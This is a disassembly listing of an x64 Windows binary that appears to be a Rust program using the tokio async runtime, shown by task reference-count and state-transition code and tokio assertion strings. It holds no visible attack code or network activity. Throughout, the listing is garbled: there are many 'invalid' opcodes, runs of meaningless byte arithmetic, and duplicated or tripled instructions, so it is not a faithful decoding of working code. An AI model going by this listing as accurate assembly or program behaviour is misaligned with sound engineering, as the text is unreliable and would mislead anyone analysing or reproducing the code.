mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
adc dword [rax + 0xf8], esi
adc dword [rax + 0xf8], esi
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
jmp 0x140087b90
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068bf0
dec dword [rax - 0x39]
xor byte [rbx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x40], 0
dec dword [rax - 0x39]
xor byte [rbx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x40], 0
mov dword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140087c1f
cmp eax, 1
je case.0x1400dd9c6.2843
invalid
sub eax, 0x772e058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
add eax, 0x11772e
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
ja 0x140087b8a
invalid
invalid
ja 0x140087b8a
invalid
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
int1
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140080960
add byte [rbp + rcx*4 + 5], cl
cmpsd dword [rsi], dword [rdi]
add al, 0xe
add byte [rdx + 0x27], bh
call fcn.140122660
int3
push rsi
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa0
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140087c89
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140087cb4
test al, 4
je 0x1400882aa
test al, 3
je 0x140087c70
cmp rax, 0x3f
jbe 0x1400882c2
lea rcx, [rax - 0x40]
cmp rcx, 0x40
stc
setb dl
stc
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140087c89
movzx eax, dl
mov dh, 0xc2
lea rcx, [0x1401943dc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14016a168]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rsi
lea rax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
cmp byte [rsi + 0xa0], 3
jae 0x14008830a
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140087ed9
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140087d64
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
invalid
push rdx
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
movabs byte [0x250c8b4865001175], al
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140087edc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140087e18
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x140087dea
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
adc byte [rax + 0xf8], dh
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
jmp 0x140087e1b
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
xor byte [rax - 0x77], cl
stc
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140087eb1
cmp eax, 1
je 0x140087e7f
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x1174b4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
lea edx, [0x140100f70]
adc eax, 0x790fd
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
mov qword [rax + 0xf8], 1
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
add byte [rax], al
add bl, ch
invalid
jmp 0x140087eb8
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068450
add eax, 0xc748fffe
xor byte [rcx], r8b
add byte [rax], al
add byte [rax], al
add eax, 0xc748fffe
xor byte [rcx], r8b
add byte [rax], al
add byte [rax], al
invalid
invalid
cmp byte [rax], r8b
add byte [rax], al
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp 0x14008818b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
jmp 0x14008818b
xorps xmm6, xmm6
push rdi
test byte [rax - 0x73], 0x5c
and al, 0x60
lea rbx, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.14009e540
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
je 0x140087f5e
cmp ecx, 1
je 0x140087f42
add dword [rdx + rsi - 0x77], esi
invalid
mov ebp, eax
mov eax, dword [0x14019f30c]
jae 0x140087f28
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
jae 0x140087f28
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
fadd dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7903d
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov byte [rsi + 0x128], 1
mov byte [rsi + 0x128], 1
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
adc dword [rcx + 0xf8], esi
adc dword [rcx + 0xf8], esi
mov cl, 1
add dword [rax + rax*8 + 0x110840f], eax
add byte [rax], al
test al, al
je 0x140088076
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
nop
xor byte [rsi - 0x70], ah
test al, 1
je 0x1400882da
test byte [rdx + 3], ah
add byte [rax], al
test byte [rdx + 3], ah
add byte [rax], al
test al, 0x20
jne 0x140087fb0
and byte [rbp + 0x34], dh
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x140087fd0
cmp rax, 0x3f
jbe 0x1400882c2
clc
invalid
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
xchg edx, eax
rol byte [rbp], 0xc0
xchg edx, eax
rol byte [rbp], 0xc0
jmp 0x140087fe0
nop word cs:[rax + rax]
mov r8b, 3
mov r9, rcx
leave
leave
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
je 0x140087ff6
jmp 0x140088006
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rax, rax
js 0x1400882f2
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x30], 1
mov r9, rbx
mov qword [r9], rdx
cmp dword [rsp + 0x30], 1
jne 0x140088006
mov rdx, qword [rsp + 0x60]
and al, 0x60
lock cmpxchg qword [rsi], rdx
jne 0x140087f70
invalid
movzx eax, r8b
ror byte [rax - 0x73], 0xd
fcmovnb st(0), st(3)
adc byte [rax], al
lea rcx, [0x1401943ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x140088063
mov eax, dword [rsi + 0x20]
add rax, 0x10
add eax, 0x10
add eax, 0x10
mov byte [rsp + 0x60], 1
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], rsi
and al, 0x38
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
lea rcx, [rsp + 0x30]
call fcn.1401034c0
mov rax, 0xffffffffffffffc0
invalid
invalid
push rax
xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x140088342
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140087cc5.2
mov rcx, rsi
call 0x14007dd10
invalid
invalid
jmp case.0x140087cc5.2
invalid
cmp cl, 2
je 0x1400880e3
mov rbx, qword [rsi + 0x28]
movzx eax, cl
invalid
cmp eax, 1
je 0x1400880b5
rol dword [rbx + 0x2e7401f8], 0x8b
add eax, 0x11727f
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov r14, qword [rcx + rax*8]
mov esi, dword [rcx + rax*8]
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
jae 0x1400880fa
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
jae 0x1400880fa
invalid
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
ror dword [rdi], 0x10
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0x100], ebx
mov qword [rax + 0x100], rbx
mov dword [rax + 0x100], ebx
jmp 0x1400880e6
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140088178
cmp eax, 1
je 0x140088146
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x1171ed
in eax, dx
jno 0x14008812f
invalid
mov eax, dword [0x14019f30c]
in eax, dx
jno 0x14008812f
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
mov rbx, qword [rcx + rax*8]
ror dword [rax - 0x73], 0x8b
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], al
add byte [rax], al
add dword [rbx + 0x1171c005], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rcx
jmp 0x14008817b
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068450
mov qword [rsi + 0x30], 0
mov byte [rsi + 0xa0], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400881fd
cmp eax, 1
je 0x1400881e3
invalid
sub eax, 0x7150058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
invalid
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
invalid
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x14007f390
movaps xmm6, xmmword [rsp + 0x90]
add byte [rax], al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x140167e50]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
and al, 0x20
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x20]
call fcn.1401224d0
int3
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x116e0e05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008859f
cmp eax, 1
je 0x140088585
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400885f4
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400885cf
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007dd10
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x140088680
test cl, 3
je 0x1400886d2
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400888a3
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400886fe
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007dd10
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je case.0x14005714b.139
xorps xmm6, xmm6
cmp eax, 1
je 0x140088738
invalid
cmp al, 0xeb
movapd xmm6, xmmword [rsp + 0x20]
jmp 0x140088764
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
add al, ch
out dx, eax
invalid
invalid
add dh, al
sub dword [rax], 1
add byte [rax], al
invalid
add al, ch
out dx, eax
invalid
mov eax, dword [0x14019f30c]
imul edx, dword [rcx], 0
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
jle 0x140088798
mov rcx, rdi
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
adc dword [rax], eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400887fa
cmp eax, 1
je 0x1400887c8
add dword [rbp + rbp - 0x75], esi
add eax, 0x116b6b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
add byte [rax], al
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
invalid
add al, ch
pop rdi
invalid
add dword [rbx + 0x116b3e05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14019f30c]
imul edx, dword [rcx], 0
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140088801
add bl, ch
invalid
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068450
std
dec dword [rax - 0x39]
xor byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov byte [rsi + 0xa0], 3
std
dec dword [rax - 0x39]
xor byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov byte [rsi + 0xa0], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
push 0x11
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008888f
cmp eax, 1
je 0x140088875
invalid
sub eax, 0x6abe058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007f390
in eax, dx
push 0xffffffffffffffff
invalid
in eax, dx
push 0xffffffffffffffff
dec dword [rax - 0x73]
or eax, 0xdf816
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
add byte [rax], al
add al, ch
movsd dword [rdi], dword [rsi]
popfq
or dword [rax], eax
add byte [rax], al
add al, ch
movsd dword [rdi], dword [rsi]
popfq
or dword [rax], eax
int3
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x140088924
test al, 4
je 0x140088f57
test al, 3
je 0x1400888e0
cmp rax, 0x3f
jbe 0x140088f6f
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400888f9
movzx eax, dl
lea rcx, [0x1401943fc]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
lea rax, [0x14016a168]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
mov eax, dword [rsi + 0x38]
and eax, 0xfffffffe
cmp eax, 0x3b9aca00
je 0x140088fb7
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140088b4e
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
pop rsi
sub byte [rbx + 0x2e7401f8], al
mov eax, dword cs:[0x14019f30c]
mov eax, dword cs:[0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x140088b51
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x140088a86
mov rdi, qword [rsi + 0x28]
cmp eax, 1
clc
invalid
je 0x140088a58
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x1168db
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
invalid
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rbx + 0x1168ae05], ecx
invalid
invalid
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
mov dword [rax + 0x100], edi
mov dword [rax + 0x100], edi
jmp 0x140088a89
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
mov ecx, edi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca01
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
std
inc edi
cmp byte [rcx], r8b
retf 0x3b9a
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
invalid
ror dword [rdi], 0xb6
sub byte [rax], 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0x647402f8], al
cmp eax, 2
je 0x140088b1f
cmp eax, 1
je 0x140088aed
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
invalid
push 0x48650011
mov ecx, dword [0x58]
invalid
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
invalid
add dh, al
sub dword [rax], 1
add byte [rax], al
invalid
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp case.0x1400679a0.94
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.1400677d0
mov dword [rsi + 0x38], 0x3b9aca00
mov qword [rsi + 0x40], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x48], 0
mov qword [rsi + 0x58], rbx
jmp 0x140088e3f
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
push rdi
test byte [rax - 0x73], 0x5c
pop rsp
lea rbx, [rsp + 0x70]
pop rsp
and al, 0x70
mov rcx, rdi
mov rdx, rbx
invalid
call fcn.140094620
mov ecx, dword [0x14019f30c]
movsd dword [rdi], dword [rsi]
adc dword [eax], eax
invalid
movsd dword [rdi], dword [rsi]
adc dword [eax], eax
mov rdx, qword gs:[0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
invalid
add byte [rbx + 0x537402f9], al
cmp ecx, 2
je 0x140088bd3
push rbx
push rbx
cmp ecx, 1
je 0x140088bb7
mov ebp, eax
mov eax, dword [0x14019f30c]
